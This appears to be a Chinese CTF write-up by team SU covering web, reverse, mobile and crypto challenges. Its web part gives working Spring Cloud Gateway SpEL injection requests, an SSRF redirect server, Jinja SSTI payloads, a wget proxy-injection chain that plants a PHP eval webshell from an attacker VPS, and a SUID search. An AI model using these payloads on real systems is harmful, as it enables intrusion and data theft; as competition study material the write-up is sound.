第八届“强网”拟态防御国际精英挑战赛 SU Writeup

本次 强网拟态线上预选赛 我们 SU 取得了第一名🏆 的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。

以下是我们 SU 第八届“强网”拟态防御国际精英挑战赛 的 WriteUp。

Web

Ezcloud

最开始是找到了 https://blog.csdn.net/guo15890025019/article/details/129503346

但是复现怎么都不成功,创建路由前面都是对的,然后找有没得Bypass,找到这个

https://rce.moe/2025/09/29/CVE-2025-41243 正好解决我的问题,直接开干

通过bean map 禁用安全限制,然后刷新路由、添加路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /actuator/gateway/routes/step1 HTTP/1.1
Host: web-632dc679bf.challenge.xctf.org.cn:80
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{
"id": "step1",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false' }"
}
}],
"uri": "http://example.com",
"predicates": [{
"name": "Path",
"args": {
"_genkey_0": "/step1/**"
}
}]
}
1
2
3
4
5
POST /actuator/gateway/refresh HTTP/1.1
Host: web-632dc679bf.challenge.xctf.org.cn:80
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /actuator/gateway/routes/step1 HTTP/1.1
Host: web-632dc679bf.challenge.xctf.org.cn:80
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

{
"id": "step1",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false' }"
}
}],
"uri": "http://example.com",
"predicates": [{
"name": "Path",
"args": {
"_genkey_0": "/step1/**"
}
}]
}

然后修改配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"id": "step2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///' }"
}
}],
"uri": "http://example.com",
"predicates": [{
"name": "Path",
"args": {
"_genkey_0": "/step2/**"
}
}]
}

继续修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"id": "step3",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet }"
}
}],
"uri": "http://example.com",
"predicates": [{
"name": "Path",
"args": {
"_genkey_0": "/step3/**"
}
}]
}

然后访问 /webjars/flag 就能获得 flag,虽然最后是 404 但是不影响

img

safesecret

漏洞点在这里的ssti

img

获取secret, 这里需要ssrf

img

这一步可以直接ai问出来

exploit_server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from http.server import BaseHTTPRequestHandler, HTTPServer

CHAIN = {
"/1": "/2",
"/2": "/3",
"/3": "/4",
"/4": "/5",
"/5": "/6",
"/6": "http://127.0.0.1:5000/_internal/secret",
}

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
nxt = CHAIN.get(self.path)
self.send_response(200)
if nxt:
self.send_header("Refresh", f"0; url={nxt}")
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"chain step")

if __name__ == "__main__":
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

请求

1
/fetch?url=http://vps_ip:8000/1

可以获取到secret

接下来是绕过waf, 题目把config ban了, 不能直接往config中存对象来缩小paylaod长度

注意到

1
2
app.jinja_env.globals.update(sget=sget)
app.jinja_env.globals.update(sset=sset)

题目把sset和sget注册到了app.jinja_env.globals中, 这使得我们可以在payload中直接使用这两个函数, 并且可以通过类似sset.__globals__拿到它的__globals__

并且题目有一个read函数

1
def read(f): return open(f).read()

img

我们可以从sset.__globals__直接获取到, 并且也可以直接使用sset把某些字符串存进session

最终构造出以下payload

1
2
3
{% print(sset('g',request.args.a)) %}&a=__globals__
{% print(sset('f',request.args.a)) %}&a=/flag
{%print(sset[sget('g')]['rea''d'](sget('f')))%}

分三次执行即可

smallcode

参考:startctf环境变量注入的改编

原题直接,wp照着复现一遍

1
2
http_proxy=156.238.233.111:5566
output_document=/var/www/html/shell.php

简单编码一下内容

context=aHR0cF9wcm94eT0xNTYuMjM4LjIzMy4xMTE6NTU2Ng0Kb3V0cHV0X2RvY3VtZW50PS92YXIvd3d3L2h0bWwvc2hlbGwucGhw

访问/1.txt确认是否正常输入

vps起一个内容

1
<?php phpinfo();@eval($_POST['orange']);?>

起一个python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, make_response

app = Flask(__name__)

@app.route("/")
def index():
with open('1.txt') as f:
r = f.read()
response = make_response(r)
response.headers['Content-Type'] = 'text/plain'
response.headers['Content-Disposition'] = 'attachment; filename=1.txt'
return response

if __name__ == "__main__":
app.run(debug=True, host='0.0.0.0', port=5566)

这时候输入

1
env=WGETRC=/var/www/html/1.txt

img

img

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

img

ecshop

不告诉你,这个就是很 ez,自己审代码去吧

img

Reverse

HyperJump

Vm逻辑太复杂不想看,发现函数是单字节加密(每次比较一个字节),因此直接pintool爆破了,因为错误会提前退出,导致指令执行数目大大减少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
from pwn import *
import string

FLAG_LEN = 24 # 标志长度
CHARSET = string.ascii_lowercase+string.digits+"_@{}" # 爆破字符集 (a-zA-Z)

# 设置 pwntools 上下文
context.log_level = 'info'

def get_inscount(payload):
"""
运行 pin 并返回指令数。
每次猜测都必须启动一个新进程。
"""
if isinstance(payload, str):
payload = payload.encode()

try:
# 启动进程
# 注意:Pin 可能会将指令数输出到 stderr
p = process(["./pin -t inscount0_cout.so -- ./hyperjump"], shell=True)
p.recvuntil(b'Provide the flag:\n')
p.sendline(payload)

out = p.recvall(timeout=100)
print(out.decode())

p.close()
lines = out.decode().split('\n')
for line in reversed(lines):
if line.isdigit():
return int(line)

log.warning(f"无法从 '{pin_output}' 中解析出指令数")
return 0

except Exception as e:
log.error(f"执行 payload {payload} 时出错: {e}")
return 0

# --- 爆破主循环 ---
known_flag = list("flag{m4z3d_vm_jump")+list("A" * (FLAG_LEN-18)) # 从 "AAAA..." 开始
log.info(f"开始爆破 {BINARY_PATH},长度 {FLAG_LEN},字符集 {CHARSET}")

for i in range(18, FLAG_LEN):
log.info(f"正在爆破第 {i} 位...")

max_count = 0
best_char = ''

# 遍历所有可能的字符
for char in CHARSET:

# 构造测试 payload
current_test = list(known_flag)
current_test[i] = char
payload = "".join(current_test)

# 获取指令数
count = get_inscount(payload)
print(count)
if count == 0:
log.warning(f"字符 '{char}' 获取计数失败,跳过...")
continue

# 调试信息
# log.debug(f"测试: {payload} -> {count} 条指令")

# 更新最大值
if count > max_count:
max_count = count
best_char = char
log.info(f"发现新的最大值: 字符 '{best_char}' -> {max_count} 条指令")

if best_char:
known_flag[i] = best_char
log.success(f"第 {i} 位确定为: '{best_char}'")
log.success(f"当前 Flag: {''.join(known_flag)}")
else:
log.error(f"第 {i} 位爆破失败,所有字符返回 0?")
break

log.success(f"--- 爆破完成 ---")
log.success(f"最终 Flag: {''.join(known_flag)}")

得到flag{m4z3d_vm_jump5__42}

Icall

地址混淆+控制流平坦化,不会还原只能上动调

首先init里出现了pthread_create创建新线程导致调试器附加失败(反调),因此直接跳过pthread_create的调用(IDA来set ip),接着跳过exit的调用

img

img

接着就可以F9来到main一点点调试,首先关注到解密出来了一个字符串”arf@gocrying”

img

然后输入字符串

img

然后循环做了放射处理

img

接着就是RC4,观察到了init和异或,同时该流程调用了三次

img

img

由于一直没复现出来,所以直接下条件断点提取异或值

img

提取出来异或的v10(keystream,正好是90个,也就是每次加密30个字符)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
s = """108 91
55 205
108 85
57 250
108 68
40 195
108 198
170 235
108 116
24 65
108 3
111 89
108 111
3 54
108 163
207 53
108 178
222 250
108 0
108 36
108 48
92 72
108 229
137 20
108 113
29 157
108 126
18 128
108 37
73 146
108 50
94 219
108 90
54 133
108 70
42 179
108 49
93 153
108 237
129 196
108 106
6 69
108 31
115 67
108 210
190 48
108 213
185 142
108 4
104 55
108 74
38 95
108 178
222 121
108 116
24 167
108 223
179 191
108 173
193 12
250 151
109 205
195 116
183 160
235 32
203 23
65 0
65 220
89 235
178 157
54 37
19 47
53 62
11 60
250 237
23 55
36 16
52 32
72 4
76 20
20 132
144 88
157 173
48 200
128 186
58 248
146 245
103 194
219 127
164 165
133 191
58 1
179 150
37 59
153 148
13 30
196 26
222 19
69 132
193 205
67 146
209 12
48 7
55 221
142 206
64 234
55 70
113 170
95 9
86 219
121 217
160 141
167 54
145 45
191 232
87 188
12 41
37 235
205 54
251 206
160 131
35 205
23 111
120 238
220 142
82 150
157 126
227 196
47 62
17 39
60 106
86 54
55 99
84 96
32 116
84 52
20 156
136 96
88 245
173 232
200 254
54 69
248 119
143 115
194 91
153 252
165 89
252 101
1 146
147 153
59 60
7 10
30 77
83 13
19 255
236 94
205 49
252 178
12 232
228 78
221 65
156 170
234 2
232 54
170 131
41 222
219 164
127 247
141 39
170 136
45 114
95 34
188 96
220 125
235 189
86 161
206 122
180 247
53 84
97 67
"""
s = s.split("\n")[:-1]
xor = []
for i in range(0, len(s), 2):
xor.append(int(s[i].split(" ")[1]))
# print(xor, len(xor))
xor = [91, 85, 68, 198, 116, 3, 111, 163, 178, 0, 48, 229, 113, 126, 37, 50, 90, 70, 49, 237, 106, 31, 210, 213, 4, 74, 178, 116, 223, 173, 151, 116, 32, 0, 235, 37, 62, 237, 16, 4, 132, 173, 186, 245, 127, 191, 150, 148, 26, 132, 146, 7, 206, 70, 9, 217, 54, 232, 41, 54, 131, 111, 142, 126, 62, 106, 99, 116, 156, 245, 254, 119, 91, 89, 146, 60, 77, 255, 49, 232, 65, 2, 131, 164, 39, 114, 96, 189, 122, 84]
text = [0xF7, 0x88, 0xC3, 0x29, 0x36, 0x64, 0x63, 0x29, 0xC7, 0x7F, 0x1C, 0xAB, 0x71, 0xE0, 0x03, 0x49, 0x73, 0xCB, 0x0A, 0xAF, 0x0C, 0x87, 0x84, 0x8E, 0x5A, 0x64, 0xC7, 0xAC, 0x2A, 0x67]
for i in range(2, -1, -1):
for j in range(29, -1, -1):
text[j] ^= text[(j-1)%30] ^ xor[i*30+j]
print("".join(map(chr, text)))

for i in range(30):
if text[i] in range(65, 91):
text[i] = (15 * (text[i] - 65 - 11) % 26) % 26 + 65
elif text[i] in range(97, 123):
text[i] = (15 * (text[i] - 97 - 11) % 26) % 26 + 97
elif text[i] in range(49, 59):
text[i] = (3 * (text[i] - 48 - 11) % 10) % 10 + 48
print("".join(map(chr, text)))
cmp = [238, 150, 196, 39, 54, 96, 52, 96, 232, 69, 115, 252, 101, 153, 10, 13, 94, 178, 78, 170, 54, 222, 247, 136, 34, 125, 161, 247, 67, 34]
# for i in range(30):
# print(chr(cmp[i]^108^text[i]), end="")

得到flag{r0uNd_Rc4_Aff1neEnc1yp0!}

Mobile

EzMiniApp

wxapkg.exe解包小程序,发现逻辑在app-service.js

加密逻辑是一个旋转混淆,逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
enigmaticTransformation: function(a, t) {
for (var e, n, r = [],
i = Array.from(t).map(function(a){ return a.charCodeAt(0) }),
s = i.length,
c = function(a){
for (var t = 0, e = 0; e < a.length; e++)
switch(e % 4){
case 0: t += 1 * a[e]; break;
case 1: t += a[e] + 0; break;
case 2: t += 0 | a[e]; break;
case 3: t += 0 ^ a[e]
}
return t
}(i) % 8,
o = 0; o < a.length; o++){
var u = void 0;
switch(o % 3){
case 0: u = a.charCodeAt(o) ^ i[o % s]; break;
case 1: u = i[o % s] ^ a.charCodeAt(o); break;
case 2: e = a.charCodeAt(o),
n = i[o % s],
u = e ^ n
}
var h = void 0;
switch(c){
case 0: h = u; break;
case 1: h = 255 & (u << 1 | u >> 7 & 1); break;
case 2: h = 255 & (u << 2 | u >> 6 & 3); break;
case 3: h = 255 & (u << 3 | u >> 5 & 7); break;
case 4: h = 255 & (u << 4 | u >> 4 & 15); break;
case 5: h = 255 & (u << 5 | u >> 3 & 31); break;
case 6: h = 255 & (u << 6 | u >> 2 & 63); break;
case 7: h = 255 & (u << 7 | u >> 1 & 127); break;
default: h = 255 & (u << c | u >> (8 - c))
}
switch(o % 2){
case 0: r[r.length] = h; break;
case 1: r.push(h)
}
}
return function(a){
for (var t = [], e = 0; e < a.length; e++)
switch(e % 2){
case 0:
case 1:
t[e] = a[e]
}
return t
}(r)
}

然后主函数的验证逻辑是:

1
2
3
4
5
6
7
8
9
10
var a = this.data.inputValue;
if ("" !== a.trim()) {
var t = this.customEncrypt(a, "newKey2025!");
console.log(t);
JSON.stringify(t) === JSON.stringify([1,33,194,133,195,102,232,104,200,14,8,163,131,71,68,97,2,76,72,171,74,106,225,1,65])
? wx.showToast({ title: "Right", icon: "success", duration: 2e3 })
: wx.showToast({ title: "Wrong", icon: "error", duration: 2e3 })
} else {
wx.showToast({ title: "请输入内容", icon: "none", duration: 2e3 })
}

直接求逆即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 def decrypt(cipher, key):

key_bytes = [ord(ch) for ch in key]
s = len(key_bytes)
c = sum(key_bytes) % 8

out_bytes = []
for i, cb in enumerate(cipher):
if c == 0:
u = cb & 0xFF
else:
u = ((cb >> c) | ((cb << (8 - c)) & 0xFF)) & 0xFF

kb = key_bytes[i % s]
p = u ^ kb
out_bytes.append(p)

b = bytes(out_bytes)
try:
s = b.decode('utf-8')
except Exception:
s = b.decode('utf-8', errors='replace')
return b, s

cipher = [1,33,194,133,195,102,232,104,200,14,8,163,131,71,68,97,2,76,72,171,74,106,225,1,65]
key = "newKey2025!"

raw, text = decrypt(cipher, key)

print(text)

得到flag:flag{JustEasyMiniProgram}

Just

il2cpp的加固,思考如何解密il2cpp.so

img

UnityPlayerActivity中载入了just.so,后续不再有任何JNI调用,说明利用了构造函数或者Jni_onload

Just.so Hook了dlopen解密il2cpp.so

img

可以看到解密逻辑是RC4+^0x33

密钥在上文中是nihaounity

img

解密到so文件,直接尝试il2cppdumper是失败的,发现metadata也被加密了,metadata是在il2cpp.so中进行加密的

img

看到加密逻辑,这里直接解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
import sys, struct
from pathlib import Path

def decrypt(inp, outp):
d = Path(inp).read_bytes()
kl = struct.unpack_from("<I", d, 1024)[0] & 0xffff
m = [struct.unpack_from("<I", d, 1028 + 4*i)[0] for i in range(kl)]
e = 1024 + 4*(kl+1)
out = bytearray(d[:1024])
for i in range(0, len(d)-e - (len(d)-e)%4, 4):
idx = (i + i//kl) % kl
w = struct.unpack_from("<I", d, e+i)[0] ^ m[idx]
out += struct.pack("<I", w)
Path(outp).write_bytes(out)

if __name__ == "__main__":
decrypt(sys.argv[1], sys.argv[2])

接下来il2cppdumper直接恢复符号了

img

img

TEA轮子没有任何魔改,就是tea加密自身之后再进行异或,引入流密码特性

img

根据PrivateImplementationDetails的特性,构造函数的这个内容是通过dump.cs找偏移在global-metadata中取值

img

根据偏移索引地址

img

即可找到密文密钥

根据tea特性4个uint为密钥,40bytes自然是密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import struct

MASK = 0xFFFFFFFF
KEYS = [0x12345678, 0x09101112, 0x13141516, 0x15161718]

buf = bytearray([
0xAF,0x58,0x64,0x40,0x9D,0xB9,0x21,0x67,0xAE,0xB5,0x29,0x04,0x9E,0x86,0xC5,0x43,
0x23,0x0F,0xBF,0xA6,0xB2,0xAE,0x4A,0xB5,0xC5,0x69,0xB7,0xA8,0x03,0xD1,0xAE,0xCF,
0xC6,0x2C,0x5B,0x7F,0xA2,0x86,0x1E,0x1A
])

def get32(b, off):
return struct.unpack_from("<I", b, off)[0]

def set32(b, off, v):
struct.pack_into("<I", b, off, v & MASK)

def tea_like(x, k):
v0, v1 = x
delta = 0x61C88647
sumv = 0
for _ in range(16):
sumv = (sumv - delta) & MASK
for _ in range(16):
sumv = (sumv + delta) & MASK
t1 = (((v0 << 4) & MASK) + k[2]) & MASK
t2 = (v0 + sumv) & MASK
t3 = (((v0 >> 5) & MASK) + k[3]) & MASK
v1 = (v1 - (t1 ^ t2 ^ t3)) & MASK
t1 = (((v1 << 4) & MASK) + k[0]) & MASK
t2 = (v1 + sumv) & MASK
t3 = (((v1 >> 5) & MASK) + k[1]) & MASK
v0 = (v0 - (t1 ^ t2 ^ t3)) & MASK
return v0, v1

p1 = get32(buf, 0)
p2 = get32(buf, 4)

for i in range(8, 1, -2): # 8,6,4,2
off = i * 4
v3 = get32(buf, off) ^ p1
v4 = get32(buf, off + 4) ^ p2
set32(buf, off, v3)
set32(buf, off + 4, v4)
p1, p2 = tea_like((p1, p2), KEYS)
set32(buf, 0, p1)
set32(buf, 4, p2)


p1, p2 = tea_like((p1, p2), KEYS)
set32(buf, 0, p1)
set32(buf, 4, p2)

print("flag:", buf.decode('ascii'))

Crypto

Unsafe Parameters

多因子共私钥攻击,按照这篇论文去打

http://ijeie.jalaxy.com.tw/contents/ijeie-v7-n2/ijeie-2017-v7-n2-p79-87.pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
import gmpy2

e4 = 1003585299728442138241618739786172474341836074346983356412903232651178484164007865852681323340512406956827176253325249434459143223478630158795320316445722303141000749369087588146876087005139101967705654538148200848735795226715484701026716263131990473014248826031226350016169675911701420383849573743077161936130739955632072650333006768068396767746102320645544271946493533626477749495460960365939362830334782483616521427745117179433129272929291131199903349977861093
e3 = 528794486797786998573050589647661205854628331390578568482905276781799068613879068393786314280307765489986817827366340249545226369795434498075653554440390174127680889163962386407937584138342055553885382937486807537913781141805602397908008361192107987266566035872632130183102501118938531330140154852996630732644530954025739132771439783366022539476194754352734861357158197716623228211860189868592877935421689151152269864018399507621324672725433395533000425391708101
e2 = 120373323462979513980656435521004077312964483601298713849302793507801996545855844801219890178210569842943901523332883574699699439655256681068585396438543716728771762620808023696864023456625376138578749985774885652016790204471223404504866831356254849552890279653807176865165230965065842479979722094076544915080001416276324550993965426099480075249719779502220020343237480355441663501565965298776708377675024327374331823503627493136287447543537154779812201209689733
e1 = 63082374875671578481986217433413118060930080658278695174993640397998104913203950822096713822227514918774669078130439943184022889683633824002111416144422250644695809731240622289790840695469043596475009958463780096705571401137513331089894183226911665633164170027318352120002851940432163291498705806239158684141492080194438572549164494596965748695244152843943149994989589419519395650481254722496058552304954140980743159877918387972030837603120258130045817858729621
e0 = 271264973728317298627822473902975461834475616151421882685140849409171660245987005602120200976835072966082573357282000859946014645129524701781302678299643424924092704444611429422064341444927220441684375194952864825982915148126084102832224731498348832396834993134927447743362540828447462072582023959357845229307404791804881057335208287771899121154533179273274029972648764343120454360366227609296867085751393693129946684282269737380796082741762647814800935844443493
n4 = 1905432596115201099512716986634374621489368222604315919606798930577721863294916275385323430940054377575273762764157350871093106918016952598143825002497857813393515175754983371150373414986745909170502391681896252141058196242286758315439213464335711981585004206505072743627148478873299089587473670712150938286701206231734068594554186483978059254161949801153805752489828395472590106405761648181381945795038085612905557546907903561767813822101495476457137965288880829
n3 = 1364349980724204783960363890369037262456777329397270902364257972605993939460160766530889520645888701966401869980072151818996346007664249855901114579605632358191242379651843548926065735575249122023543206153088606751338328933651430885645444839242513718915066302971957689904414300766000572990594260836480347717506097403302570129593533017205416936506156113683938133811098995666977893386015199252455279325252257306124895958614122639652100229863446635612470942945471629
n2 = 966507016385573035667733231340091844033410158675175976938028218854439065352997895173668326599042719776214706325758565722305289931861889759808022284179479582700755314576250841330755684569639628012527976286442288571350327307582007959428925460653350857512795573323486273071975979456828134582982048746188934676698845075430701350305713747666370252912970653968385390246217234899448990236850880873105998296512557366752267827688836849041157572772272378435636367162425013
n1 = 801368910415539931617837996119032301790585643652894417707002521182569449104238101253556548156062846942011258499343192564944616333555000780965111384091131074358231330717413121484815002612991437436336271715078003900216545055505405363415778086330672269759661284535787363323398929120499505051378299467980018690275341014026390376705451595348674549031968858607633947674244014656615045639930798213161815130251215148286379903187335369475976106390101774566278602818405563
n0 = 729626364576206469704240917876675932841677846807662743683194531189219993605123671836962855605283722577718230552963049472251011326675202612492908848548419883361685662678347011887752523869081347313358470192291106167923273619672010347904232948623232956703976722596246251219832472749781700661621717970912452690860710243752051416797956410009096107757901714990018414837758557784033898837218196380413347278999394220278929595840196278059116531409774355756772349502091527

t = n4 ** 2
M = gmpy2.iroot(t, 3)[0]
print(M.bit_length())
L = Matrix(ZZ, [[M, e0, e1, e2, e3, e4],
[0, -n0, 0, 0, 0, 0],
[0, 0, -n1, 0, 0, 0],
[0, 0, 0, -n2, 0, 0],
[0, 0, 0, 0, -n3, 0],
[0, 0, 0, 0, 0, -n4]])

d = (L.LLL()[2][0])// M
print(d)
#79707249059210800427586261608616662408613108106616463837006013556788454508274558925787023296092333364088239266520329780878389357
print(d.bit_length())

然后就是已知e,d,n分解n了,套板子梭哈

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from Crypto.Util.number import *
import gmpy2

e4 = 1003585299728442138241618739786172474341836074346983356412903232651178484164007865852681323340512406956827176253325249434459143223478630158795320316445722303141000749369087588146876087005139101967705654538148200848735795226715484701026716263131990473014248826031226350016169675911701420383849573743077161936130739955632072650333006768068396767746102320645544271946493533626477749495460960365939362830334782483616521427745117179433129272929291131199903349977861093
e3 = 528794486797786998573050589647661205854628331390578568482905276781799068613879068393786314280307765489986817827366340249545226369795434498075653554440390174127680889163962386407937584138342055553885382937486807537913781141805602397908008361192107987266566035872632130183102501118938531330140154852996630732644530954025739132771439783366022539476194754352734861357158197716623228211860189868592877935421689151152269864018399507621324672725433395533000425391708101
e2 = 120373323462979513980656435521004077312964483601298713849302793507801996545855844801219890178210569842943901523332883574699699439655256681068585396438543716728771762620808023696864023456625376138578749985774885652016790204471223404504866831356254849552890279653807176865165230965065842479979722094076544915080001416276324550993965426099480075249719779502220020343237480355441663501565965298776708377675024327374331823503627493136287447543537154779812201209689733
e1 = 63082374875671578481986217433413118060930080658278695174993640397998104913203950822096713822227514918774669078130439943184022889683633824002111416144422250644695809731240622289790840695469043596475009958463780096705571401137513331089894183226911665633164170027318352120002851940432163291498705806239158684141492080194438572549164494596965748695244152843943149994989589419519395650481254722496058552304954140980743159877918387972030837603120258130045817858729621
e0 = 271264973728317298627822473902975461834475616151421882685140849409171660245987005602120200976835072966082573357282000859946014645129524701781302678299643424924092704444611429422064341444927220441684375194952864825982915148126084102832224731498348832396834993134927447743362540828447462072582023959357845229307404791804881057335208287771899121154533179273274029972648764343120454360366227609296867085751393693129946684282269737380796082741762647814800935844443493
n4 = 1905432596115201099512716986634374621489368222604315919606798930577721863294916275385323430940054377575273762764157350871093106918016952598143825002497857813393515175754983371150373414986745909170502391681896252141058196242286758315439213464335711981585004206505072743627148478873299089587473670712150938286701206231734068594554186483978059254161949801153805752489828395472590106405761648181381945795038085612905557546907903561767813822101495476457137965288880829
n3 = 1364349980724204783960363890369037262456777329397270902364257972605993939460160766530889520645888701966401869980072151818996346007664249855901114579605632358191242379651843548926065735575249122023543206153088606751338328933651430885645444839242513718915066302971957689904414300766000572990594260836480347717506097403302570129593533017205416936506156113683938133811098995666977893386015199252455279325252257306124895958614122639652100229863446635612470942945471629
n2 = 966507016385573035667733231340091844033410158675175976938028218854439065352997895173668326599042719776214706325758565722305289931861889759808022284179479582700755314576250841330755684569639628012527976286442288571350327307582007959428925460653350857512795573323486273071975979456828134582982048746188934676698845075430701350305713747666370252912970653968385390246217234899448990236850880873105998296512557366752267827688836849041157572772272378435636367162425013
n1 = 801368910415539931617837996119032301790585643652894417707002521182569449104238101253556548156062846942011258499343192564944616333555000780965111384091131074358231330717413121484815002612991437436336271715078003900216545055505405363415778086330672269759661284535787363323398929120499505051378299467980018690275341014026390376705451595348674549031968858607633947674244014656615045639930798213161815130251215148286379903187335369475976106390101774566278602818405563
n0 = 729626364576206469704240917876675932841677846807662743683194531189219993605123671836962855605283722577718230552963049472251011326675202612492908848548419883361685662678347011887752523869081347313358470192291106167923273619672010347904232948623232956703976722596246251219832472749781700661621717970912452690860710243752051416797956410009096107757901714990018414837758557784033898837218196380413347278999394220278929595840196278059116531409774355756772349502091527

t = n4 ** 2
M = gmpy2.iroot(t, 3)[0]
print(M.bit_length())
L = Matrix(ZZ, [[M, e0, e1, e2, e3, e4],
[0, -n0, 0, 0, 0, 0],
[0, 0, -n1, 0, 0, 0],
[0, 0, 0, -n2, 0, 0],
[0, 0, 0, 0, -n3, 0],
[0, 0, 0, 0, 0, -n4]])

d = (L.LLL()[2][0])// M
print(d)
#79707249059210800427586261608616662408613108106616463837006013556788454508274558925787023296092333364088239266520329780878389357
print(d.bit_length())

import random
from Crypto.Util.number import GCD
from Crypto.Hash import SHA3_512
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def get_one_factor(n, e, d):
m = e * d - 1
t = m
while t % 2 == 0:
t //= 2

for _ in range(10):
a = random.randint(2, n - 2)
v = pow(a, t, n)
if v == 1 or v == n - 1:
continue
v_prev = v
while v != 1:
v_prev = v
v = pow(v, 2, n)

if v == n - 1:
break

if v == 1:

factor = GCD(v_prev - 1, n)
if factor != 1 and factor != n:
return factor
else:
break
return None

def find_all_factors(n, e, d):

factors_found = []

def solve(num):
if num == 1:
return
f = get_one_factor(num, e, d)
if f is None:
factors_found.append(num)
return
solve(f)
solve(num // f)
solve(n)
return factors_found

ns = [729626364576206469704240917876675932841677846807662743683194531189219993605123671836962855605283722577718230552963049472251011326675202612492908848548419883361685662678347011887752523869081347313358470192291106167923273619672010347904232948623232956703976722596246251219832472749781700661621717970912452690860710243752051416797956410009096107757901714990018414837758557784033898837218196380413347278999394220278929595840196278059116531409774355756772349502091527, 1905432596115201099512716986634374621489368222604315919606798930577721863294916275385323430940054377575273762764157350871093106918016952598143825002497857813393515175754983371150373414986745909170502391681896252141058196242286758315439213464335711981585004206505072743627148478873299089587473670712150938286701206231734068594554186483978059254161949801153805752489828395472590106405761648181381945795038085612905557546907903561767813822101495476457137965288880829, 1364349980724204783960363890369037262456777329397270902364257972605993939460160766530889520645888701966401869980072151818996346007664249855901114579605632358191242379651843548926065735575249122023543206153088606751338328933651430885645444839242513718915066302971957689904414300766000572990594260836480347717506097403302570129593533017205416936506156113683938133811098995666977893386015199252455279325252257306124895958614122639652100229863446635612470942945471629, 801368910415539931617837996119032301790585643652894417707002521182569449104238101253556548156062846942011258499343192564944616333555000780965111384091131074358231330717413121484815002612991437436336271715078003900216545055505405363415778086330672269759661284535787363323398929120499505051378299467980018690275341014026390376705451595348674549031968858607633947674244014656615045639930798213161815130251215148286379903187335369475976106390101774566278602818405563, 966507016385573035667733231340091844033410158675175976938028218854439065352997895173668326599042719776214706325758565722305289931861889759808022284179479582700755314576250841330755684569639628012527976286442288571350327307582007959428925460653350857512795573323486273071975979456828134582982048746188934676698845075430701350305713747666370252912970653968385390246217234899448990236850880873105998296512557366752267827688836849041157572772272378435636367162425013]
